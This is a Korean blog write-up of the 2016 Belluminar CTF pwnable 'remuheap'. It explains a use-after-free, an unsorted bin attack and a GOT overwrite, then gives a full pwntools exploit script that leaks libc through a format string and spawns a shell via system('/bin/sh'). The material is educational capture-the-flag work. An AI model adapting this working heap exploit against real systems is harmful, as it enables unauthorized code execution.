2016 belluminar remuheap
512 ~ 4096 사이즈로 malloc
이 가능하다.
ubuntu 16.04 LTS의 fgets
, scanf
등은 입력 시 heap
에 allocate를 한다. ( free
하지 않고 계속해서 재사용함. )
때문에 이를 이용하여 위 chunk
에서 UAF
를 발생시킬 수 있다.
unsorted bin
에서 UAF
가 일어나고 free
할 수 있으면 unsorted bin attack
이 가능하다.
unsorted bin
의 bk
를 덮고자 하는 주소 - 0x10으로 설정해 주면 unsorted bin
의 unlinking
과정을 통해 덮고자 하는 주소에 &main_arena.top
의 주소가 들어가게 된다.
그 후, 덮은 변수를 통하여 main_arena.top~
를 변경할 수 있다.
unsorted bin
의 head chunk
와 tail chunk
를 적절한 값으로 바꿔 보호 기법을 우회하고 bin
내에 임의의 chain
을 구성할 수 있다. (head chunk
만 바꿔도 보호 기법은 우회 된다.)
그렇게 unsorted bin
에 fake chunk
가 존재하게 만든 후 code
전역 변수를 변경하여 임의의 사이즈를 맞춘 후 할당하면 person_info
전역 변수를 통하여 got overwrite
가 가능하다.
atoi
의 got를 printf
로 바꿔 format string leak
후 atoi
의 got를 system
으로 바꿔 쉘을 따면 된다.
( 입력 버퍼가 초기화 되지 않아 중간중간에 버퍼를 빼줫다. )
fgets
의 heap 할당을 이용한 exploit과 unsorted bin attack
을 처음 해봐서 배운게 정말 많았던 문제이다.
x
from pwn import *
#context.log_level = 'debug'
e = ELF('./remuheap')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
ru('> ')
sl(sel)
def malloc(size, data):
menu('1')
ru('size: ')
sl(size)
ru('data: ')
sl(data)
def free():
menu('2')
def modify(sel, name, sel2, age='', md=''):
if md == 'exp':
menu('%2c')
else:
menu('3')
ru('(y/n)? ')
s.send(sel)
if sel=='y':
ru('age: ')
s.send(age)
ru('name: ')
sl(name)
ru('(y/n)? ')
sl(sel2)
def code(cd):
menu('5')
ru('code: ')
sl(cd)
malloc(str(0x1000), 'd1')
free()
modify('n', 'n1', 'y')
free()
modify('n', 'A'*8 + p64(0x6020d0 - 0x10), 'y')
malloc(str(0x1000), 'd2')
modify('n', '\x00'*0x8 + p64(0x6020d0 - 0x18) + p64(0x6020d0 - 0x18), 'y')
free()
code(str(0x511))
malloc(str(0x500), '\x00'*8 + p64(e.got['atoi']-8))
menu('3') # stdin buffer out
ru('(y/n)? ')
s.send('n')
ru('name: ')
sl('name')
ru('(y/n)?')
sl('n')
modify('n', p64(e.plt['printf']).ljust(23, '\x00'), 'y')
menu('%3$lx')
libc_base = int(s.recv(12),16) - 0xf7260
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
menu('%2c') # stdin buffer out
ru('(y/n)? ')
s.send('n')
ru('(y/n)?')
sl('n')
modify('n', p64(system).ljust(23, '\x00'), 'y', md='exp')
menu('/bin/sh\00')
io()
'system > writeup' 카테고리의 다른 글
pwnable.tw seethefile (0) | 2019.02.06 |
---|---|
2015 rctf welpwn (0) | 2019.02.06 |
2014 31c3 mynx (0) | 2019.02.04 |
nullcon hackim 2019 easy-shell (0) | 2019.02.03 |
nullcon hackim 2019 tudutudututu (0) | 2019.02.03 |